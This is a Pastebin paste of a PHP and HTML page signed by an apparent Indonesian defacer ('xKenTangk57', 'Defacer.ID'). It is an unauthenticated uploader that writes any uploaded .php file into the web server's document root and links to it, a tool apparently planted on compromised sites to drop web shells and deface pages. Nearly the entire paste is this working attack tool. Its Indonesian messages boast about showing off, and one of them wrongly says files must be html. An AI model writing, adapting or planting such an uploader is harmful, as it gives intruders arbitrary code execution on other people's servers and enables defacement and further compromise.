Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!doctype html>
- <html lang="en">
- <head>
- <!-- Required meta tags -->
- <meta charset="utf-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no">
- <meta name="author" content="xKenTangk57"> <meta name="description" content="[ IND ] Ͳҽӑӎ_ÃţťãċĸêƦ_Defacer.ID">
- <meta name="theme-color" content="#000">
- <!-- Bootstrap CSS -->
- <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
- <link href="https://fonts.googleapis.com/css?family=Rock Salt|Righteous" rel="stylesheet">
- <link rel="icon" href="https://e.top4top.io/p_1538mzn4i0.jpg" type="image/jpg">
- <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.1.0/css/font-awesome.min.css'>
- <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
- <script src='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.2.0/js/bootstrap.min.js'></script>
- <script src='https://unpkg.com/sweetalert/dist/sweetalert.min.js'></script>
- <title>xKenTangk57.0ffical</title>
- <style>
- body{background-color:#000;font-family:"Righteous";color:#fff;}
- #ico{width:200px;height:150px;}
- </style>
- </head>
- <body>
- <center>
- <div class="container text-center mx-auto">
- <h2 class="mt-3">xKenTangk57</h2>
- <form method="post" enctype="multipart/form-data">
- <div class="row">
- <div class="col">
- <input id="previews" placeholder="Pilih File" class="form-control bg-transparent text-white" readonly="readonly">
- </div>
- <div class="col">
- <div class="input-group">
- <div class="custom-file">
- <input type="file" name="randsx" class="custom-file-input bg-transparent" id="FileSel">
- <label class="custom-file-label bg-transparent" for="previews"></label>
- </div>
- </div>
- </div>
- </div>
- <button type="submit" name="upload" class="btn btn-secondary btn-block bg-transparent mt-3" id="load" data-loading-text="<i class='fa fa-refresh fa-spin'></i> Silahkan tunggu">Upload</button>
- </form><hr>
- <?php
- $server = $_SERVER['DOCUMENT_ROOT'];
- $namaFile = $_FILES['randsx']['name'];
- $getcwd = "$server/$namaFile";
- $typeExt = pathinfo($namaFile, PATHINFO_EXTENSION);
- if(isset($_POST['upload'])){
- if($namaFile !== ''){
- if(is_writable($server)){
- if($typeExt === 'php'){
- if($namaFile !== 'index.php'){
- if(@copy($_FILES['randsx']['tmp_name'], $getcwd)){
- $akses = 'http://'.$_SERVER['HTTP_HOST'].'/';
- echo '<script>swal("Berhasil", "Silahkeun Show Off Mas", "success")</script>';
- echo '<a href="'.$akses.$namaFile.'" target="_blank">Hasil Upload</a>';
- }else{
- echo '<script>swal("Gagal Upload", "Gatau kenapa", "error")</script>';
- }
- }else{
- echo '<script>swal("Gagal Upload", "Jangan Ngindex Mas", "error")</script>';
- }
- }else{
- echo '<script>swal("Kesalahan", "Ekstensi file harus html", "info")</script>';
- }
- }else{
- echo '<script>swal("Gagal Upload", "Server Ga Support", "error")</script>';
- }
- }else{
- echo '<script>swal("Woii", "Belum pilih file mas", "info")</script>';
- }
- }
- ?>
- <footer>
- <small>© copyright2010 - xKenTangk57</small>
- </footer>
- </div>
- <script>
- document.getElementById('FileSel').onchange = function()
- {
- document.getElementById('previews').value = this.value;
- };
- $('.btn').on('click', function(){
- var $this = $(this);
- $this.button('loading');
- });
- </script>
- </center>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement